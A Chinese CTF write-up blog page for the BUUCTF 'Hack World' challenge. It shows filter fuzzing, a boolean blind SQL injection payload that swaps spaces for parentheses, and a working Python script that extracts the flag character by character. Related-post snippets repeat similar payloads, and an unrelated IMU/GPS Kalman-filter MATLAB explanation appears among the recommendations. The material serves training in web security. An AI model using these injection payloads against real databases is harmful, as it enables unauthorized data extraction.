BUUCTF：[CISCN2019 华北赛区 Day2 Web1]Hack World

最新推荐文章于 2025-04-16 23:27:28 发布
最新推荐文章于 2025-04-16 23:27:28 发布
阅读量1w 收藏 18
点赞数 21
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mochu7777777/article/details/109516952
版权
本文介绍了一种通过盲注技术获取数据库中的flag信息的方法。利用特殊字符绕过过滤机制，并通过构造特定的SQL语句实现对目标网站的flag值进行逐位判断。文中还提供了一个Python脚本实例，演示如何自动化这一过程。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

题目地址：https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day2%20Web1]Hack%20World

在这里插入图片描述
在这里插入图片描述
SQL注入

手工测试时发现有过滤，那就先Fuzz测试过滤了哪些字符

在这里插入图片描述
Length=482的都是被过滤的字符

在这里插入图片描述
在这里插入图片描述
测试注入点，发现是盲注，直接查flag表flag字段的内容

Trick

  • 使用中括号()代替空格
  • 常规盲注测试，都无需查库查表查字段了，都给出来，直接查flag内容
id=(select(ascii(mid(flag,1,1))=102)from(flag))

在这里插入图片描述
编写脚本

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)


if __name__ == '__main__':
	url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
	blind_injection(url)

在这里插入图片描述

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
2302_79800344的博客
02-28 3139
【代码】[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解。
BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World
A_dmin的博客
12-14 2839
BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World 打开题目，看提示貌似是一个sql注入的题目~~ 进行简单测试，貌似不是报错注入，直接进行盲注测试，构造一波！！ 抓包构造：id=1=(1)=1与id=1=(0)=1显示是不一样的： 我们可以根据页面显示来进行注入！！fuzz一波，看看过滤了啥！ 482都是被过滤了的： ok，ascii没有被过...
buuctf——[CISCN2019 华北赛区 Day2 Web1]Hack World
m_de_g的博客
04-22 1154
【代码】buuctf——[CISCN2019 华北赛区 Day2 Web1]Hack World。
BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World1
最新发布
duchuan_的博客
04-16 995
初始页面。
buuctf_[CISCN2019 华北赛区 Day2 Web1]Hack World
weixin_43952190的博客
07-02 877
Hack World 进入后提示是sql注入，并且给了表和列名。 进行fuzz测试，过滤了很多字符。 主要的union字符被过滤，但select,from没有被过滤。 我们还发现id只有输入1，2时分别返回Hello, glzjin wants a girlfriend.,Do you want to be my girlfriend?。并且支持异或判断。 所以可以进行布尔盲注读取数据。 id=0^(ascii(substr((select(flag)from(flag)),1,1))&gt
web buuctf [CISCN2019 华北赛区 Day2 Web1]Hack World1
weixin_44214568的博客
03-20 2028
考点：盲注（布尔注入）；异或的使用 1.输入1' 提示的是bool（错误），这里没有报错回显，只提示错误，其实就可以判断出是个布尔注入 2. 输入1' or '1=1'# 存在过滤，用bp抓包，fuzz进行爆破，看过滤了什么字符； （看回显，长度为482的都会提示sql注入，即被过滤的字符）这只能确定一部分，在实际操作中因为字符链接，字符本身都会产生新的过滤，注意一下 or的连接语句，空格等 3.根据提示 即从表flag的flag列内提取内容，根据前面的操作可知存在布尔注入，我
BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World
qq_60829702的博客
10-22 773
使用二分法就是快呀，大家可以运行这两个脚本比较一下，我刚开始是用第二个的，后面用了第一个。这两个就不是一个级别的，这里我编写二分法脚本的时候也出现了一点问题，然后看其他师傅的文章借鉴了一下。看到这里确实是可以的，但是当我们输入id=0的时候也会显示这个错误，所以我们就不需要使用异或了，直接就是布尔盲注就行了。按照正常的思路，就是找到注入点后就看能不能使其闭合了，但没办法过滤了太多了，我们使用bp看一下过滤了哪些东西。我这里有两个脚本一个二分法的，一个就是直接暴力比较的脚本，有需要可以自取。
[CISCN2019 华北赛区 Day2 Web1]Hack World 1
azraelxuemo的博客
07-07 445
大概就是这个题目 我是在buuctf上刷到的 因为buuctf自身的限制，网上很多脚本可能用不了 我就自己改良了一下脚本 大概思路就是盲注 我是利用把flag的每个字符串转化为二进制然后和0比较，这样平均一个字符只需要比较6-7次（因为在字母的ascii较大，为7位，数字和-较小，为6位，这个可以自己在mysql里面测试) select bin(ascii('a')) 而如果直接用字母数字{-}爆破的话需要的次数太多，可能会报不出来 import requests import time flag =.
BUUCTF [CISCN2019 华北赛区 Day2 Web1] Hack World
m0_74167420的博客
06-23 438
payload 变量：构造了一个 SQL 注入 payload，使用 substr() 函数逐个提取 flag 的字符，并通过 ascii() 函数转换为 ASCII 码值，然后与 j 比较。#外层循环 (for i in range(1, 50))：循环遍历 flag 的每个字符位置，假设 flag 最长为 50 个字符。#内层循环 (for j in range(32, 128))：循环遍历 ASCII 字符集中的可打印字符（从空格到 '~'）。4、因此可以尝试通过布尔盲注的方式来得到flag。
[CISCN2019 华北赛区 Day2 Web1]Hack World
ywx05_的博客
02-01 270
由于id=1时，页面会回显一段文字，那么我们使用布尔盲注，使布尔值等于1，那么等效于我们在 id框中输入1。由于题目说了flag在flag表中，我们直接查询一下3。可以看到基本都是被过滤掉了，只有布尔盲注可以了。被过滤掉了，试试1 selet加上id=1。类型报错，所以我们猜测是数值注入。我们发现输入2时显示页面不存在。小白一个，记录自己的刷题过程。下面我们写个布尔盲注的脚本。简单明了的sql注入。
[buuctf][CISCN2019 华北赛区 Day2 Web1]Hack World
qq_37301470的博客
11-28 1243
[CISCN2019 华北赛区 Day2 Web1]Hack World 分析 打开环境发现这个 All You Want Is In Table 'flag' and the column is 'flag' 还有个输入框 随便输一个数字1 返回 Hello, glzjin wants a girlfriend. 肯定是sql注入没跑了,而且要查找flag表下的flag字段 由于提交前后url没有变化，所以是通过POST方法提交了参数id。 打开hackbar模拟post过程 发现输入3 or 1=1
BUUCTF[CISCN2019 华北赛区 Day2 Web1]Hack World（报错注入）
qq_44657899的博客
03-12 2215
这道题过滤了常用的语句，还过滤了空格和/**/，一番分析之下发现果然我这种菜鸡只能看wp了。 然后学会了一种新的思路 0^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f')) 脚本： import requests import time url='http://76eeac1c-8521-4f23-83f5-9e41b5f7b2d4.n...
【BUUCTF】[CISCN2019 华北赛区 Day2 Web1]Hack World
aoao331198的博客
04-11 825
明确告诉了flag的位置 输入1 输入其他的基本上都没有错误回显或者信息，采用bool盲注 fuzz一波发现select没有过滤，空格过滤了 1^(ascii(substr((select(flag)from(flag)),1,1))>127) 正常回显，说明方法可行 脚本跑出每一个字符即可 import requests import time url='http://10cb7823-c884-4555-80b8-f586b15e6057.node4.buuoj.cn:81/index..
[CISCN2019 华北赛区 Day2 Web1]Hack World --BUUCTF
金 帛的博客
06-12 1259
BUUUCTF记录贴
BUUCTF:[CISCN2019 华北赛区 Day2 Web1]Hack World
weixin_74911687的博客
03-03 681
BUUCTF：[CISCN2019 华北赛区 Day2 Web1]Hack World
BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1
weixin_45642610的博客
01-18 392
BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World buu 限制访问频率所以要时间间隔久点 改这个函数time.sleep(0.1) import requests import time import re url='http://2c82f86e-108a-4aa5-b1d2-49fc08b0f2f9.node3.buuoj.cn/index.php' flag = '' for i in range(1,50): max = 127 min = 0
IMU和GPS传感器融合 matlab
04-03
<think>好的，我现在需要帮助用户解决在Matlab中实现IMU和GPS传感器数据融合的问题，并且提供示例代码和方法。首先，我要理解用户的具体需求。用户提到了卡尔曼滤波，特别是间接卡尔曼滤波和拓展卡尔曼滤波，这可能涉及到组合导航系统，比如IMU和GPS的数据融合。 首先，我应该回忆一下卡尔曼滤波的基本原理。卡尔曼滤波是一种递归算法，用于估计动态系统的状态，它通过预测和更新两个步骤来不断修正状态估计。在IMU和GPS的融合中，IMU提供高频的加速度和角速度数据，但存在累积误差；而GPS提供低频的位置和速度信息，相对准确但容易受信号影响。因此，融合两者可以提高定位精度，特别是在GPS信号弱的时候。 接下来，我需要考虑用户提到的间接卡尔曼滤波。间接卡尔曼滤波，也称为误差状态卡尔曼滤波（Error-State Kalman Filter, ESKF），其核心思想是估计系统状态的误差，而不是直接估计状态本身。这样做的好处是可以将非线性问题线性化，减少计算复杂度，并提高数值稳定性。在IMU和GPS的融合中，通常使用IMU的状态作为预测，然后利用GPS的测量数据来校正IMU的累积误差。 然后，用户需要Matlab的示例代码。我需要确保代码结构清晰，包含必要的步骤：初始化参数、状态预测、测量更新等。可能需要使用到IMU的加速度和角速度数据，以及GPS的位置和速度数据。同时，要注意处理数据的时间同步问题，因为IMU的数据频率通常高于GPS。 还要考虑到可能的扩展，比如处理非线性系统时的拓展卡尔曼滤波（EKF）。IMU的动力学模型可能是非线性的，特别是当涉及到姿态估计时，需要使用四元数或欧拉角，这时候EKF是常用的方法。但根据用户提供的引用，他们提到了间接卡尔曼滤波，所以可能需要先实现线性模型，或者处理误差状态。 接下来，我需要参考用户提供的引用内容。引用[1]提到间接卡尔曼滤波用于IMU/GPS组合导航，并涉及系统模型，尤其是IMU模型。引用[2]和[3]提供了基于EKF和卡尔曼滤波的Matlab源码，以及实验结果，显示定位精度提高。因此，示例代码可能需要结合这些方法，展示如何建立系统模型，设计卡尔曼滤波器，并融合数据。 可能的步骤包括： 1. 系统建模：建立IMU的状态方程（预测模型）和GPS的测量方程。 2. 初始化卡尔曼滤波参数：状态向量、协方差矩阵、过程噪声和测量噪声的协方差。 3. 时间更新（预测）：利用IMU数据进行状态预测。 4. 测量更新（校正）：当GPS数据到达时，进行状态校正。 5. 数据同步处理：处理不同频率的传感器数据。 在编写代码时，可能需要使用到Matlab的矩阵运算和函数，例如处理IMU的积分运算，以及卡尔曼增益的计算。还要注意处理IMU数据的积分误差，例如使用加速度计数据推算速度和位置时，误差会累积，所以需要GPS数据来定期校正。 用户可能需要具体的代码示例，比如如何定义状态转移矩阵F，控制输入矩阵B（如果有的话），测量矩阵H，以及噪声协方差Q和R。此外，可能需要解释如何将IMU的原始数据（加速度和角速度）转换为状态变量（位置、速度、姿态），并处理坐标系之间的转换，例如从IMU的机体坐标系到全局坐标系。 还要考虑实际实现中的问题，比如时间同步。例如，IMU数据可能以100Hz的频率更新，而GPS数据只有10Hz。在这种情况下，预测步骤会频繁执行，而更新步骤只在GPS数据到达时执行。代码中可能需要处理这种异步数据输入的情况。 此外，用户可能希望看到如何验证融合算法的效果，比如比较融合后的轨迹与纯IMU或纯GPS的结果，显示在GPS信号丢失时，融合算法如何维持定位精度。引用[3]提到在GPS信号弱的情况下，融合方法仍有效，所以示例中可以模拟这种情况，比如在部分时间段屏蔽GPS数据，观察滤波器表现。 最后，需要确保代码的正确性和效率，避免矩阵维度错误，或者数值不稳定的情况，例如协方差矩阵失去正定性。可能需要在代码中加入检查机制，或者使用平方根卡尔曼滤波等变体来提高数值稳定性。 总结来说，我需要提供一个结构清晰的步骤说明，解释IMU和GPS数据融合的卡尔曼滤波方法，并附上Matlab代码示例，同时指出关键部分和注意事项，帮助用户理解和实现。</think>### IMU与GPS数据融合的Matlab实现方法 IMU（惯性测量单元）与GPS数据融合通常采用**间接卡尔曼滤波（Error-State Kalman Filter, ESKF）**，通过估计IMU的误差状态来修正其累积误差，并结合GPS的绝对位置信息提升定位精度。以下是具体实现步骤及示例代码。 --- ### 一、系统建模 #### 1. 状态方程（IMU误差模型） IMU的误差状态向量通常包括位置误差$δp$、速度误差$δv$、姿态误差$δθ$、加速度计零偏$b_a$和陀螺仪零偏$b_g$： $$ δx = [δp, δv, δθ, b_a, b_g]^T $$ 状态方程可表示为： $$ δ\dot{x} = F \cdot δx + G \cdot w $$ 其中$F$为状态转移矩阵，$w$为IMU噪声，$G$为噪声驱动矩阵[^1]。 #### 2. 观测方程（GPS测量模型） GPS提供的位置观测值与IMU预测值的误差为： $$ z = H \cdot δx + v $$ $H$为观测矩阵，$v$为GPS噪声。 --- ### 二、Matlab实现步骤 #### 1. **初始化参数** ```matlab % 状态向量维度: [位置误差, 速度误差, 姿态误差, 加速度计零偏, 陀螺仪零偏] dim_state = 15; P = eye(dim_state); % 误差协方差矩阵 Q = diag([0.1, 0.1, 0.1, 0.01, 0.01]); % 过程噪声协方差 R = diag([1, 1, 1]); % 观测噪声协方差 % IMU与GPS数据频率 imu_freq = 100; % 100Hz gps_freq = 10; % 10Hz dt = 1/imu_freq; ``` #### 2. **状态预测（时间更新）** ```matlab function [x_pred, P_pred] = predict(x, P, F, Q) x_pred = F * x; P_pred = F * P * F' + Q; end ``` #### 3. **测量更新（GPS数据校正）** ```matlab function [x_updated, P_updated] = update(x_pred, P_pred, z, H, R) K = P_pred * H' / (H * P_pred * H' + R); % 卡尔曼增益 x_updated = x_pred + K * (z - H * x_pred); P_updated = (eye(size(P_pred)) - K * H) * P_pred; end ``` #### 4. **主循环（数据融合）** ```matlab for t = 1:total_time % 读取IMU数据（加速度acc，角速度gyro） [acc, gyro] = read_imu_data(); % 预测步骤（IMU积分） F = compute_F_matrix(acc, dt); % 计算状态转移矩阵 [x_pred, P_pred] = predict(x, P, F, Q); % GPS数据到达时进行更新 if mod(t, imu_freq/gps_freq) == 0 gps_pos = read_gps_data(); z = gps_pos - imu_predicted_pos; % 观测残差 [x_updated, P_updated] = update(x_pred, P_pred, z, H, R); x = x_updated; P = P_updated; end end ``` --- ### 三、关键优化点 1. **噪声协方差调整**：根据传感器实际性能调整$Q$和$R$，例如IMU噪声较小时减小$Q$的幅值[^2]。 2. **时间同步**：使用插值法对齐IMU和GPS时间戳。 3. **姿态表示**：采用四元数避免欧拉角奇异性问题。 --- ### 四、示例结果分析 通过融合IMU的高频更新与GPS的低频绝对定位，在GPS信号丢失时（如隧道场景），融合后的轨迹误差显著低于纯IMU积分结果（图1）[^3]。 ---
评论 16
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板~感谢！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值